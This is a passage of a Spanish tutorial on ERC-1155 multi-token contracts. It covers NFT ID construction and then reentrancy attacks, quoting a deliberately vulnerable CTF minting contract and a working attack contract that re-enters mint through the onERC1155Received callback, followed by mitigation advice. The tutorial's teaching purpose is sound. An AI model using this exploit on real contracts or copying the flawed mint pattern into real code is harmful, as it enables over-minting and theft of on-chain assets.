"features": {
"speed": "100",
"color": "blue",
"model": "SuperFast x1000",
"rims": "aluminum"
}
}
}
Ahora, llamamos a la función mintCar en nuestro contrato para mintear su NFT de automóvil:
function mintCar(address player, bytes memory data) public returns (uint256 carId) {
// ASSERT PLAYER'S BALANCE OF THE TOKEN ID `TOKEN_ID_IN_GAME_CURRENCY`
// EQUALS OR GREATER THAN `MINIMUM_AMOUNT`
require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");
// THE NON-FUNGIBLE MAGIC TRICK
carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;
// MINT CAR
_mint(player, carId, 1, data);
}
La variable carId es donde ocurre la magia no fungible. Calcula un token ID único para cada NFT de automóvil combinando el ID de la colección de automóviles y el siguiente índice de token disponible (comienza desde cero).
Después de llamar a la función mintCar:

Como era de esperar, se minteó un solo NFT de automóvil (recuadro amarillo) a la dirección del jugador desde la address zero.
NOTA: El ID del NFT (recuadro rojo) es 340282366920938463463374607431768211456, que es el resultado de (1 << 128) + 0, siendo 1 el token ID base para la colección de automóviles y 0 el itemID del NFT dentro de la colección.
Más allá de gestionar tanto tokens fungibles como no fungibles dentro de un solo contrato, también es importante abordar las vulnerabilidades de seguridad en los contratos ERC-1155. Una vulnerabilidad común son los ataques de reentrancy (reentrada), que pueden explotar el proceso de minteo o de transferencia.
Ataques de Reentrancy al Mintear y Transferir en ERC-1155
Debido a las funciones de callback que se ejecutan en las operaciones safeTransferFrom y safeBatchTransferFrom, los contratos que utilizan ERC-1155 son susceptibles a ataques de reentrancy. ERC-1155 en sí es seguro, pero agregarle código como un mint inseguro podría introducir un reentrancy.
Considera este contrato de los desafíos CTF Solidity Riddles by RareSkills:
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
contract Overmint1_ERC1155 is ERC1155 {
using Address for address;
mapping(address => mapping(uint256 => uint256)) public amountMinted;
mapping(uint256 => uint256) public totalSupply;
constructor() ERC1155("Overmint1_ERC1155") {}
function mint(uint256 id, bytes calldata data) external {
require(amountMinted[msg.sender][id] <= 3, "max 3 NFTs");
totalSupply[id]++;
_mint(msg.sender, id, 1, data);
amountMinted[msg.sender][id]++;
}
function success(address _attacker, uint256 id) external view returns (bool) {
return balanceOf(_attacker, id) == 5;
}
}
Nota que la función mint intenta evitar que el msg.sender mintee más de 3 NFTs. Sin embargo, no contiene un reentrancy lock (bloqueo de reentrada) ni sus operaciones siguen el patrón checks-effects-interactions (comprobaciones-efectos-interacciones), ya que comprueba la cantidad que msg.sender ha minteado después de mintear y realizar el callback. Por lo tanto, un atacante podría explotar este contrato llamando a la función mint desde la función de callback onERC1155Received de su contrato malicioso, como demuestra el siguiente contrato de explotación:
contract AttackOvermint1_ERC1155 {
Overmint1_ERC1155 overmint1_ERC1155;
constructor(Overmint1_ERC1155 _overmint1_ERC1155) {
overmint1_ERC1155 = _overmint1_ERC1155;
}
function attackMint(uint256 id) external {
overmint1_ERC1155.mint(id, "");
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) public returns (bytes4) {
uint256 balance = overmint1_ERC1155.balanceOf(address(this), _id);
if (balance < 5) {
overmint1_ERC1155.mint(1, "");
}
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
}
El atacante primero llamaría a una función en su contrato malicioso para iniciar un mint. Esto causará que el msg.sender sea el contrato del atacante. Cuando el NFT es minteado, se llamará a onERC1155Received en el contrato del atacante. Esta función comprueba si ya se ha minteado la cantidad deseada y si no es así, entonces vuelve a entrar (reenters) en la función mint.
Es importante que los contratos de implementación ERC-1155 mitiguen esta vulnerabilidad adhiriéndose estrictamente al patrón checks-effects-interactions y/o implementando bloqueos de reentrancy.
Conclusión
ERC-1155 ha estandarizado una interfaz para implementar múltiples tipos de tokens dentro de un solo contrato. Esto permite mecanismos de ahorro de gas como operaciones por lotes y aprobaciones para múltiples tokens a la vez, así como en el despliegue de los contratos de tokens.
Este estándar elimina la necesidad de interactuar con múltiples contratos al gestionar varios conjuntos de tokens, mejorando la eficiencia de gas y la experiencia de usuario (UX) para los juegos blockchain y otros proyectos que utilizan múltiples tokens.